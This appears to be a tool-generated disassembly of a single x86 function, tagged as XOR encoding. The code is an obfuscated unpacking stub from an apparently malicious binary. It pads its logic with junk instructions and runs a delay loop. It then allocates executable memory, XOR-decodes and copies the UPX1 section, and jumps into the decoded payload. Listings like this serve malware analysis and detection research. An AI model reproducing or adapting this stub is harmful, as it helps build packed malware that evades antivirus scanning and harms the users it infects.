Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfa516f52
dec edi
sub eax, 0x623253f7
popal
and edi, eax
add edi, eax
dec eax
mov edx, 0
mov edi, ecx
mov eax, 0xf0c18fb4
not eax
mov eax, ebx
mov esi, edi
not ebx
inc ebx
mov ecx, esi
or eax, ebx
inc eax
mov eax, ebx
inc edx
mov ebx, eax
sub eax, 1
cmp edx, 0x10091d2
jne 0xa789c4
sub eax, ebx
or ebx, ebx
add edi, 0x9589e99d
mov eax, edi
mov ebx, 0xa78796
and edx, ecx
mov eax, edx
mov edi, 0xa7898a
and edx, eax
or edx, ecx
inc ecx
mov esi, dword [ebx]
mov ecx, 0xc6bb6a6f
mov eax, 0xba5c0807
and esi, 0xff
dec eax
or eax, edx
mov eax, edx
xor dword [edi], esi
inc ecx
add edx, 1
sub edx, 0x3fc7b040
inc edi
or edx, eax
dec eax
mov eax, edx
add ebx, 1
sub eax, edx
or ecx, edx
cmp edi, entry0
jl 0xa78a0f
add eax, eax
add edx, 1
inc ecx
mov eax, 0xebc60030
dec edi
mov edi, 0x9419b5c1
dec edi
mov ebx, 0xa7898e
or ecx, edi
mov ecx, 0x9150c55f
mov ebx, dword [ebx]
and esi, esi
mov ecx, esi
inc ecx
mov ebx, dword [ebx]
dec ecx
mov edx, 0x5ef53dfb
add edi, 1
push ebx
mov edx, 0x7c0e253b
sub esi, edi
mov ebx, 0xa7898a
and esi, edi
or edx, ecx
mov ebx, dword [ebx]
sub esi, 0x5962984f
sub ecx, edi
mov ebx, dword [ebx]
inc esi
add edx, 1
and ecx, edx
push 0xa78992
or edi, edi
and edx, edi
inc esi
call ebx
or edi, edx
mov esi, 0x2bfb8d3e
pop ebx
mov edi, ecx
not ecx
sub edx, 1
push 0xa7899f
mov edx, ecx
add edx, 0x99f26e88
or edi, esi
push eax
add edi, 1
mov ecx, 0x3bb190b6
call ebx
inc esi
mov edi, esi
push 0x40
sub esi, edx
and edi, edi
not edx
push 0x3000
or ecx, ecx
dec ecx
sub edx, 0xc33ca895
push 0x20000c89
dec edx
sub edi, 1
or ecx, edi
sub esp, 4
mov dword [esp], 0
add edi, 0xe496a392
sub ecx, edx
add ecx, 0x468ce834
call eax
not ecx
sub ecx, 0x6ddc304
add edi, edx
add eax, 0x20000c1e
sub edx, 0x896d3e98
not esi
mov ebx, 0x421009c3
mov esi, 0x8d96e897
and edi, esi
or edx, edi
mov dword [eax], ebx
dec esi
dec edi
not edi
mov ebx, dword [eax]
sub esi, 0xef46ecf8
add edi, 0xc513ec8e
sub edx, 0xdfd02b33
cmp ebx, 0x421009c3
je 0xa78b7b
mov edx, 0
mov al, byte [edx]
sub esi, ecx
add edx, 1
add edx, edx
inc esi
add edx, 0xbbc4e8
and edx, edi
mov eax, edi
sub edi, eax
mov ecx, section.UPX1
add eax, edi
inc edi
not eax
mov edx, 0xa78795
or eax, edi
mov eax, edi
mov esi, 0
sub eax, edi
sub eax, edi
add eax, 0xd6f71e48
mov ebx, 0xa78796
sub eax, 0xb539af15
not eax
inc edi
lea ebx, [esi + ebx]
add edi, eax
add eax, 1
mov ebx, dword [ebx]
sub eax, edi
add eax, 0xe8d0f3ca
or edi, edi
and ebx, 0xff
mov edi, eax
mov eax, 0xba9dea3d
or eax, edi
inc esi
add eax, edi
not eax
cmp esi, 0x1f4
jne 0xa78bfa
mov esi, 0
add eax, 0x86861494
dec edi
not eax
add edi, edi
add edi, 1
xor dword [ecx], ebx
dec eax
sub edi, eax
add ecx, 2
not edi
add eax, edi
sub eax, edi
cmp ecx, edx
jl 0xa78bb4
dec eax
or edi, eax
and edi, edi
not eax
mov ecx, section.UPX1
not esi
sub esi, 0x4f67cbab
mov edx, section.UPX1
sub ebx, 0xaa10a1c8
not esi
mov edi, 0xa78795
add esi, 1
add ebx, 0x62b98949
mov ebx, 0x60591579
mov eax, 0
not ebx
dec esi
add esi, ebx
mov al, byte [edx]
sub ebx, 0x19f89bc
mov esi, 0x230d6900
mov byte [ecx], al
and esi, ebx
sub ebx, esi
add ecx, 1
not ebx
mov esi, 0xee709def
mov ebx, 0x9d17ffa2
add edx, 2
sub ebx, esi
add ebx, esi
sub ebx, 0xa50d1a92
cmp edx, edi
jle 0xa78c65
not esi
or esi, esi
inc esi
sub edi, 1
sub eax, 0xd89fdb99
inc edi
push 0x8dc6a0
sub edi, 0x63dfeaa1
sub eax, 1
ret